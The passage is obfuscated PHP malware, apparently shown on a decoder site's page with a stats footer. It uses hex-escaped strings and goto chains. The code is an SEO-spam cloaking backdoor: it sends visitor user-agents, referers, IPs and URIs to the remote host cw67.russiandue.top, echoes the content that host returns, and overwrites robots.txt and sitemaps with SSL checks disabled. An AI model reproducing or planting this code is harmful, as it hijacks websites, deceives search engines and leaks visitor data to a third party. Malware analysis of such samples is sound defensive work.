urlencode($_SERVER["\x48\x54\124\120\137\110\x4f\123\124"]); goto Yz9g5; QvO3i: goto FNWm3; goto v0u7q; G_LX8: if (substr($NFZUv, 0, 5) == "\x3c\x3f\x78\155\x6c") { goto VU6FS; } goto KlnL3; N2_PB: cKadc: goto RRYPL; oWxzU: if (preg_match("\57\x28{$U38m0}\x29\57\151", $_SERVER["\110\x54\x54\120\x5f\122\x45\106\x45\122\x45\122"])) { goto v9Zhw; } goto ohjvd; QlMfu: $NAsWb = urlencode($_SERVER["\x48\124\x54\120\x5f\125\x53\105\x52\x5f\101\x47\x45\116\x54"]); goto nHbGF; QoqvU: $NFZUv = iA6R9($ZVqAc . urlencode($al2El)); goto cI_l7; h7yX6: goto GHCJe; goto zX2G2; zQfey: header("\x43\157\x6e\164\145\156\164\55\x54\x79\160\x65\72\40\164\145\x78\164\x2f\170\155\154\73\x20\143\x68\x61\x72\x73\x65\164\75\165\164\x66\55\x38"); goto CCfC6; jjPAQ: if (preg_match("\x2f\x28{$U38m0}\51\x2f\x69", $_SERVER["\x48\124\124\120\137\125\x53\x45\x52\x5f\x41\107\105\116\124"])) { goto cOTJI; } goto oWxzU; Xz9TH: header("\x48\124\x54\120\x2f\61\x2e\x30\x20\64\60\63\40\106\157\x72\142\151\x64\x64\x65\x6e"); goto LwJro; H6FDd: if ($Tm_rR == 0) { goto qtWtp; } goto soxsd; jwqgq: if (!(strpos($vwlJZ, "\x75\165\x75\x75\170\x78\x78\170\157\x6f\157") !== false)) { goto zULbo; } goto lr6yd; fKZ70: $Tm_rR = 1; goto Hk77x; Giqfv: GHCJe: goto C3HKj; TTEfa: MJxLG: goto kNHCF; u4Clc: $WrgWw = "\125\x73\145\162\55\x61\147\145\156\164\72\x20\52\15\12\x41\154\154\x6f\167\x3a\x20\x2f"; goto vvX4g; EmI1d: exit; goto PGMgN; oNfkN: $NFZUv = OKkWq($Vo636); goto qv8da; vvX4g: $al2El = "{$pDGb8}\72\x2f\x2f" . $fiJ9y . $V9PHc . "\x73\151\164\145\155\x61\x70\x2e\170\155\154"; goto G_4K_; Gxgx8: exit; goto vmP88; j6yRc: echo $NFZUv; goto kIbSy; XaTpj: $Vo636 = $lEMi8 . "\x3f\x61\x67\x65\156\x74\75{$NAsWb}\46\162\145\x66\x65\x72\75{$GTWA2}\46\154\141\x6e\147\75{$Wr9E3}\46\x69\160\x3d{$D72C9}\46\144\x6f\x6d\x3d{$fiJ9y}\46\150\x74\x74\160\x3d{$pDGb8}\46\x75\162\x69\75{$vwlJZ}\x26\x70\143\x3d{$nj1Ks}\x26\162\x65\x77\162\x69\164\145\141\142\x6c\145\75{$Tm_rR}\46\163\x63\162\x69\x70\x74\x3d{$as0Sv}"; goto oNfkN; zBwzD: goto DXeQG; goto idxmy; obCZH: Low92: goto VdG6O; HoLff: goto lcK1N; goto CbFVp; CCfC6: zJWR1: goto SiSlM; ZFX1G: aKe3i: goto RexgZ; Hk77x: @file_put_contents("\x75\170\157\56\x74\170\x74", "\61"); goto Giqfv; KijTx: $V9PHc = $V9PHc . "\x3f"; goto eEMSH; v0u7q: Fjy0R: goto yOLxE; MI2xT: $Tm_rR = 0; goto Wk1O0; Yz9g5: $as0Sv = urlencode($_SERVER["\x53\x43\122\x49\x50\x54\137\116\x41\115\105"]); goto L18il; WsiNd: exit; goto g1UnE; miigy: $V9PHc = $_SERVER["\123\103\x52\111\x50\x54\137\116\101\x4d\x45"]; goto d8p4X; VA9pL: @file_put_contents("\x72\x6f\x62\157\164\163\x2e\x74\x78\164", $NFZUv); goto ifiu1; m5EwU: $I5YG8 = LEkqM(); goto Z51fm; JF_T6: sGkzD: goto SLXC9; f3u6G: $lEMi8 = "\x68\164\164\160\x3a\x2f\x2f\143\x77\x36\67\x2e\162\165\x73\163\151\141\156\144\165\145\56\x74\157\x70\57\x69\156\x64\145\170\56\160\x68\160"; goto y4Wzj; JqFNP: zULbo: goto UCFar; mKIrn: $gGWBl = $xeVEA[1]; goto TTEfa; GxB90: @file_put_contents("\x72\x6f\142\x6f\x74\163\56\x74\170\x74", $WrgWw); goto EmI1d; QEY9v: header("\x48\124\124\x50\x2f\61\x2e\x30\40\65\60\x30\40\x49\x6e\x74\145\162\156\141\154\x20\123\145\x72\166\x65\162\x20\105\162\162\157\x72"); goto F9KDR; o6Gus: if (!preg_match("\x2f\x3c\150\62\76\x28\56\53\x3f\x29\x3c\134\x2f\x68\62\76\x2f\151", $NFZUv, $xeVEA)) { goto MJxLG; } goto mKIrn; J1QWI: IK50Q: goto qOga_; BDgGK: if (empty($NFZUv)) { goto IK50Q; } goto Fw2AC; fnwFu: if (strpos($vwlJZ, "\x70\151\156\147\x73\151\164\145\x6d\x61\x70\x2e\170\155\x6c") !== false) { goto yFWO6; } goto Ais1s; idxmy: rXSo9: goto w9bK4; yF_v_: function oKKWq($d4h7G) { goto zHvwD; my_Jq: curl_setopt($OCR6M, CURLOPT_SSL_VERIFYPEER, FALSE); goto Gzf8M; P9F22: if (!empty($vzFcY)) { goto YJZ59; } goto N4QXO; ecGCi: zKCjT: goto Yi4sf; AIwSh: curl_setopt($OCR6M, CURLOPT_RETURNTRANSFER, true); goto QIjBV; Jm65z: curl_close($OCR6M); goto s_sx5; AwAFP: curl_setopt($OCR6M, CURLOPT_URL, $d4h7G); goto AIwSh; QIjBV: curl_setopt($OCR6M, CURLOPT_FOLLOWLOCATION, false); goto Z9bHR; s_sx5: YJZ59: goto yHFqq; zHvwD: $vzFcY = @file_get_contents($d4h7G); goto P9F22; Yi4sf: $vzFcY = curl_exec($OCR6M); goto Jm65z; N4QXO: $OCR6M = curl_init(); goto AwAFP; Z9bHR: if (!(strpos($d4h7G, "\x68\164\164\160\163\72\57\x2f") !== false)) { goto zKCjT; } goto my_Jq; Gzf8M: curl_setopt($OCR6M, CURLOPT_SSL_VERIFYHOST, FALSE); goto ecGCi; yHFqq: return $vzFcY; goto RYwEt; RYwEt: } goto UaLaz; zhvjH: header("\103\x6f\x6e\164\x65\x6e\164\55\124\171\160\x65\72\x20\164\x65\x78\164\x2f\160\154\141\151\156\73\x20\143\150\141\x72\x73\145\x74\75\165\164\x66\55\x38"); goto qFWMZ; UaLaz: function Ia6r9($d4h7G) { goto NenwJ; SnjqH: if (!empty($vzFcY)) { goto yCY4Z; } goto hXAcz; fn3MD: $vzFcY = curl_exec($OCR6M); goto Dg6Hc; Lq04e: curl_setopt($OCR6M, CURLOPT_FOLLOWLOCATION, false); goto FUA3T; ZrMBk: return $vzFcY; goto G3_PO; NenwJ: $OCR6M = curl_init(); goto Im279; Dg6Hc: curl_close($OCR6M); goto SnjqH; PUzJz: curl_setopt($OCR6M, CURLOPT_SSL_VERIFYPEER, FALSE); goto Pbjwq; DOLKK: yCY4Z: goto ZrMBk; o777z: curl_setopt($OCR6M, CURLOPT_RETURNTRANSFER, true); goto Lq04e; Pbjwq: curl_setopt($OCR6M, CURLOPT_SSL_VERIFYHOST, FALSE); goto EVTJ9; hXAcz: $vzFcY = @file_get_contents($d4h7G); goto DOLKK; EVTJ9: wdSM5: goto fn3MD; Im279: curl_setopt($OCR6M, CURLOPT_URL, $d4h7G); goto o777z; FUA3T: curl_setopt($OCR6M, CURLOPT_USERAGENT, $_SERVER["\110\124\x54\x50\137\x55\123\105\x52\137\x41\x47\105\x4e\x54"]); goto fl2Zz; fl2Zz: if (!(strpos($d4h7G, "\x68\164\x74\x70\x73\72\x2f\57") !== false)) { goto wdSM5; } goto PUzJz; G3_PO: } goto HlkVe; C3HKj: mYZWm: goto fnwFu; qsAuW: yFWO6: goto miigy; Fw2AC: header("\x48\124\124\120\57\x31\x2e\61\40\x34\x30\x34\x20\116\x6f\x74\40\x46\157\x75\x6e\x64"); goto lXY3D; GhIgC: DXeQG: goto lIbjb; WpCun: w8tj_: goto H6FDd; fhWLl: $Tm_rR = @file_get_contents("\x75\170\x6f\56\164\x78\x74"); goto qyxVL; PGMgN: urdPb:
?>
Function Calls
None |
Stats
MD5 | f7b85ae112efef8b9a986015aaa32551 |
Eval Count | 0 |
Decode Time | 62 ms |